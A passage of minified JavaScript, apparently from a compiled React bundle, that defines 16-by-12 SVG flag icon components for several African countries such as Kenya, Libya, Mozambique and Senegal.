1.948-1.826-1.087Z"}))),We=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CI_-_C\\xF4te_d'Ivoire_(Ivory_Coast)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CI_-_C\\xF4te_d'Ivoire_(Ivory_Coast)_svg__a)"},(0,s.createElement)("path",{fill:"#67BD38",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#E47E00",d:"M0 0h5v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M5 0h6v12H5V0Z"}))),je=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KE_-_Kenia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KE_-_Kenia_svg__a)"},(0,s.createElement)("path",{fill:"#0067C3",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#4E8B1D",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#F7FCFF",d:"M0 3.5h-.5v5h17v-5H0Z"})),(0,s.createElement)("path",{fill:"#fff",d:"M9.812 2.015c.114-.205.42-.43.92-.673a.068.068 0 0 1 .056 0c.03.012.043.044.028.07l-5.179 9.314-.27-.116L9.932 2.4c-.206-.03-.247-.158-.12-.385Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M6.183 2.015c.126.227.086.356-.12.385l4.564 8.21-.27.116L5.18 1.412c-.015-.026-.003-.058.027-.07a.068.068 0 0 1 .056 0c.5.244.807.468.92.673Z"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M8 10.474c.598 0 3-1.885 3-4.21 0-2.326-2.402-4.211-3-4.211-.598 0-3 1.885-3 4.21 0 2.326 2.402 4.21 3 4.21Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KE_-_Kenia_svg__b",width:6,height:9,x:5,y:2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M8 10.474c.598 0 3-1.885 3-4.21 0-2.326-2.402-4.211-3-4.211-.598 0-3 1.885-3 4.21 0 2.326 2.402 4.21 3 4.21Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KE_-_Kenia_svg__b)"},(0,s.createElement)("path",{fill:"#272727",d:"M2.5 9.947c2.32 0 4.2-1.65 4.2-3.684 0-2.035-1.88-3.684-4.2-3.684-2.32 0-4.2 1.65-4.2 3.684 0 2.035 1.88 3.684 4.2 3.684ZM13.5 9.947c2.32 0 4.2-1.65 4.2-3.684 0-2.035-1.88-3.684-4.2-3.684-2.32 0-4.2 1.65-4.2 3.684 0 2.035 1.88 3.684 4.2 3.684Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M8.12 5.7c.274-.17.48-.914.48-1.805 0-.891-.206-1.635-.48-1.806V5.7Zm-.3-.047c-.243-.235-.42-.933-.42-1.758s.177-1.523.42-1.758v3.516Zm0 1.22v3.516c-.243-.234-.42-.933-.42-1.757 0-.825.177-1.523.42-1.758Zm.3 3.564v-3.61c.274.17.48.913.48 1.805 0 .89-.206 1.634-.48 1.805Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8 5.737c.331 0 .6.235.6.526 0 .29-.269.526-.6.526-.331 0-.6-.235-.6-.526 0-.29.269-.526.6-.526Z"}))),qe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LS_-_Lesotho_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LS_-_Lesotho_svg__a)"},(0,s.createElement)("path",{fill:"#55BA07",d:"M0 8h16v4H0V8Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 4h16v4H0V4Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M0 0h16v4H0V0Z"}),(0,s.createElement)("path",{fill:"#1D1D1D",d:"M7.625 4.12c-.261.07-.4.25-.4.57 0 .366.18.708.4.885V4.12Zm.625 1.445c.214-.179.386-.515.386-.874 0-.31-.136-.49-.386-.564v1.438Zm-.021-1.699c.41.091.705.37.705.823 0 .329-.156.73-.4 1.004l1.218 1.193.3-.098.448.68S9.367 8 7.967 8 5.5 7.467 5.5 7.467l.382-.58.308.1 1.129-1.273c-.254-.275-.418-.688-.418-1.026 0-.468.317-.75.749-.83a.313.313 0 0 1 .579.008Z"}))),Ye=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LR_-_Liberia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#LR_-_Liberia_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M.014 2.75h16v1.5h-16z"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0h16v1.5H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M-.029 5.5h16V7h-16zM.056 8.2h16v1.5h-16zM.051 10.75h16v1.5h-16z"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0h8v7H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M4.066 4.607 2.606 5.62l.466-1.736L2 2.776l1.452-.06L4.066 1l.615 1.716H6.13L5.06 3.884l.536 1.633-1.53-.91Z",clipRule:"evenodd"}))),Je=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LY_-_Libya_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LY_-_Libya_svg__a)"},(0,s.createElement)("path",{fill:"#55BA07",d:"M0 9h16v3H0V9Z"}),(0,s.createElement)("path",{fill:"#1D1D1D",d:"M0 3h16v6H0V3Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M0 0h16v3H0V0Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M7.899 7.533c-.896-.185-1.124-.72-1.115-1.444 0-.765.399-1.473 1.106-1.558.707-.085 1.285.18 1.589.547-.254-.999-1.095-1.108-1.74-1.108-.972-.008-1.998.664-1.998 2.194 0 1.369.908 2.046 2.026 2.068 1.398 0 1.616-.965 1.657-1.294a2.492 2.492 0 0 0-.234.2c-.28.258-.585.541-1.291.395Zm2.209-1.926-.638.247.662.292-.024.775.502-.535.729.15-.442-.593.386-.571-.61.128-.43-.486-.135.593Z"}))),$e=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MG_-_Madagascar_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MG_-_Madagascar_svg__a)"},(0,s.createElement)("path",{fill:"#78D843",d:"M6 6h10v6H6V6Z"}),(0,s.createElement)("path",{fill:"#EA1A1A",d:"M6 0h10v6H6V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h6v12H0V0Z"}))),Qe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MW_-_Malawi_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MW_-_Malawi_svg__a)"},(0,s.createElement)("path",{fill:"#E11C1B",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MW_-_Malawi_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MW_-_Malawi_svg__b)"},(0,s.createElement)("path",{fill:"#272727",d:"M0 0v5h16V0H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M2 6.973v-.001h-.004.005Zm.315-1.91h.051l-.078-.012.027.012Zm1.464 0c.026-.05.053-.1.082-.149l-1.145-.758 1.35.44c.076-.106.157-.208.243-.307l-.992-.945 1.264.66c.093-.089.19-.174.291-.255L4.07 2.641l1.133.867a4.78 4.78 0 0 1 .327-.2l-.578-1.24.957 1.051c.114-.05.231-.098.35-.14l-.325-1.333.741 1.202c.12-.032.24-.06.364-.083l-.054-1.378.493 1.312a5.46 5.46 0 0 1 .37-.027L8.07 1.3l.224 1.372c.124.005.247.015.369.028l.493-1.313-.054 1.38c.122.023.243.051.362.083l.743-1.204-.326 1.336c.118.042.235.09.348.14l.96-1.054-.58 1.245c.111.062.22.128.324.198l1.138-.87-.806 1.113c.1.08.197.165.288.253l1.271-.663-.997.95c.085.098.165.2.24.304l1.358-.442-1.152.763.08.144h-.983c-.677-.938-1.915-1.566-3.33-1.566-1.414 0-2.651.628-3.328 1.566h-.933Zm1.5 0c.642-.661 1.65-1.087 2.782-1.087 1.132 0 2.14.426 2.781 1.087H5.28Zm8.495 0h.052l.027-.012-.079.012Zm.367 1.909h.004-.004Z"})))),Xe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ML_-_Mali_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#ML_-_Mali_svg__a)"},(0,s.createElement)("path",{fill:"#FBCD17",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#0B9E7A",d:"M0 0h5v12H0V0Z"}))),el=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MR_-_Mauritania_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MR_-_Mauritania_svg__a)"},(0,s.createElement)("path",{fill:"#1C7B4D",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MR_-_Mauritania_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MR_-_Mauritania_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v3h16V0H0ZM0 9v3h16V9H0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M8.121 7.19c2.593.014 3.323-2.157 3.323-2.157C11.297 6.89 10.27 8.15 8.12 8.15S5.183 6.518 4.798 4.89c0 0 .73 2.285 3.323 2.3Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m8.819 4.907.168.982-.882-.464-.881.464.168-.982-.713-.767h.985l.441-.965.441.965h.986l-.713.767Z"})))),ll=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MU_-_Mauritius_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MU_-_Mauritius_svg__a)"},(0,s.createElement)("path",{fill:"#579D20",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MU_-_Mauritius_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MU_-_Mauritius_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",d:"M0 6v3h16V6H0Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M0 3v3h16V3H0Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M0 0v3h16V0H0Z"})))),tl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MA_-_Morocco_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MA_-_Morocco_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",d:"M0 0h16v11a1 1 0 0 1-1 1H1a1 1 0 0 1-1-1V0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#579D20",d:"M11.241 9.813 8.083 1.35h-.137L4.898 9.813 8.063 7.91l3.178 1.903ZM7.733 4.111l.339-1.32.351 1.358 1.01 2.828.592 1.37-1.28-.902-.682-.41-.673.405-1.25.906.578-1.397 1.015-2.838Z"}),(0,s.createElement)("path",{fill:"#579D20",d:"M6.331 6.737 8.08 7.899 9.71 6.737l3.098-2.619H3.193L6.33 6.737Zm.037-1-1.19-.727h5.613l-1.021.646-1.698 1.288-1.704-1.207Z"}))),al=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MZ_-_Mozambique_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MZ_-_Mozambique_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MZ_-_Mozambique_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MZ_-_Mozambique_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#093",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#fff",d:"M0 3.5h-.5v5h17v-5H0Z"})),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MZ_-_Mozambique_svg__c",width:9,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MZ_-_Mozambique_svg__c)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m4.034 7.177-1.89 1.525.868-2.038-1.49-1.435H3.28L4.002 3.5l.766 1.73h1.754L4.955 6.663l.784 2.038-1.705-1.525Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m3.078 5.992-.32 1.07s1.081-.01 1.211.099c.392-.244 1.198-.099 1.198-.099l-.429-1.145s-.543-.246-.769-.111c-.552-.125-.891.186-.891.186Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#000",d:"M5.782 7.608a.25.25 0 0 1-.4.3l-2.09-2.775a.25.25 0 1 1 .4-.3l2.09 2.775Z"}),(0,s.createElement)("path",{stroke:"#000",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:.5,d:"m3.487 4.92-.2-.24"}),(0,s.createElement)("path",{fill:"#000",fillRule:"evenodd",d:"m2.802 4.681-.604.968.302.523.691-1.027.125-.317-.125-.147h-.389ZM2.02 7.554l.464.54 3.514-4.072-1.597.995-2.382 2.537Z",clipRule:"evenodd"})))),sl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NA_-_Namibia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NA_-_Namibia_svg__a)"},(0,s.createElement)("path",{fill:"#093",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NA_-_Namibia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#NA_-_Namibia_svg__b)"},(0,s.createElement)("path",{fill:"#3195F9",fillRule:"evenodd",d:"M0 0v12L16 0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#F7FCFF",d:"m-.506 13.547.265.48.454-.308L17.629 1.864l.35-.24-.178-.384-1.171-2.52-.246-.528-.485.323-17.678 11.778-.382.255.222.403 1.433 2.596Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m3.115 4.622-.647.808-.157-1.023-.964.376.376-.964L.7 3.662l.807-.647L.7 2.368l1.023-.157-.376-.964.964.376L2.468.6l.647.807L3.762.6l.157 1.023.964-.376-.376.964 1.023.157-.808.647.808.647-1.023.157.376.964-.964-.376-.157 1.023-.647-.808Zm0-.357a1.25 1.25 0 1 0 0-2.5 1.25 1.25 0 0 0 0 2.5Zm1-1.25a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z",clipRule:"evenodd"})))),nl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NE_-_Niger_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NE_-_Niger_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NE_-_Niger_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#NE_-_Niger_svg__b)"},(0,s.createElement)("path",{fill:"#FC6500",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#FC6500",d:"M8 8a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z"})))),il=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NG_-_Nigeria_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#NG_-_Nigeria_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#093",d:"M11 0h5v12h-5V0ZM0 0h5v12H0V0Z"}))),cl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"RW_-_Rwanda_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#RW_-_Rwanda_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"RW_-_Rwanda_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#RW_-_Rwanda_svg__b)"},(0,s.createElement)("path",{fill:"#3CA5D9",d:"M0 0v7h16V0H0Z"}),(0,s.createElement)("path",{fill:"#5A962A",d:"M0 9v3h16V9H0Z"}),(0,s.createElement)("path",{fill:"#FFDC17",d:"M12.04 5.933a2.07 2.07 0 0 1-.092 0l-.302.987-.064-1.028a1.996 1.996 0 0 1-.09-.021l-.524.89.177-1.014a1.955 1.955 0 0 1-.085-.041l-.715.745.408-.944-.073-.06-.87.561.617-.824c-.02-.025-.04-.05-.058-.076l-.975.347.79-.66a1.966 1.966 0 0 1-.038-.089l-1.028.116.922-.462a1.887 1.887 0 0 1-.017-.095l-1.026-.122 1.004-.24.006-.096-.97-.353 1.032-.003.028-.094-.86-.563 1.005.232.05-.085-.706-.745.924.456c.022-.024.045-.048.068-.07l-.513-.887.793.654.082-.053-.293-.98.62.818a2 2 0 0 1 .092-.033l-.057-1.02.413.938a2.04 2.04 0 0 1 .097-.011L11.995 1l.183 1.009c.032.002.064.006.096.01l.413-.939-.057 1.024c.03.01.06.02.09.032l.622-.82-.294.984c.027.016.054.034.08.052l.797-.657-.516.89.065.07.929-.459-.71.75c.017.026.032.054.048.081l1.01-.233-.865.567.027.09 1.038.003-.975.355.005.093 1.011.24-1.033.123-.016.092.928.465-1.034-.116a1.836 1.836 0 0 1-.037.084l.795.665-.98-.35-.056.074.62.83-.874-.565-.07.059.41.948-.719-.748a1.995 1.995 0 0 1-.082.041l.178 1.017-.525-.892-.09.021-.064 1.03-.302-.987Zm-.067-.726c.7 0 1.268-.559 1.268-1.25 0-.69-.568-1.249-1.268-1.249-.7 0-1.268.56-1.268 1.25s.568 1.25 1.268 1.25Zm.73-1.213a.715.715 0 1 1-1.43 0 .715.715 0 0 1 1.43 0Z"})))),rl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ST_-_Sao_Tome_and_Principe_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#ST_-_Sao_Tome_and_Principe_svg__a)"},(0,s.createElement)("path",{fill:"#FBCD17",d:"M0 0v12h16V0H0Z"}),(0,s.createElement)("path",{fill:"#73BE4A",d:"M0 0v4h16V0H0ZM0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M0 0v12l5-6-5-6Z"}),(0,s.createElement)("path",{fill:"#272727",d:"m8.5 6.935-.934.565.213-1.102L7 5.573l1.055-.044L8.5 4.5l.446 1.029H10l-.777.87.234 1.101-.956-.565ZM12.5 6.935l-.934.565.213-1.102L11 5.573l1.055-.044L12.5 4.5l.446 1.029H14l-.777.87.234 1.101-.956-.565Z"}))),ml=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SN_-_Senegal_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SN_-_Senegal_svg__a)"},(0,s.createElement)("path",{fill:"#FBCD17",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#006923",d:"m8.038 7.245-1.743 1.21.557-2.071-1.28-1.323 1.733-.072.733-2.047.733 2.047h1.73L9.223 6.384l.639 1.948-1.825-1.087Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#006923",d:"M0 0h5v12H0V0Z"}))),dl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SC_-_Seychelles_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SC_-_Seychelles_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SC_-_Seychelles_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SC_-_Seychelles_svg__b)"},(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M0 11.998 8.076-1h8.075L0 11.998Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 11.998 17.232 5.5v-8.05L0 11.998Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 11.998 17.232 9.5V5.45L0 11.998Z"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 11.998h17.232v-3.55L0 11.998Z",clipRule:"evenodd"})))),ol=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SL_-_Sierra_Leone_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SL_-_Sierra_Leone_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SL_-_Sierra_Leone_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SL_-_Sierra_Leone_svg__b)"},(0,s.createElement)("path",{fill:"#78D843",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M0 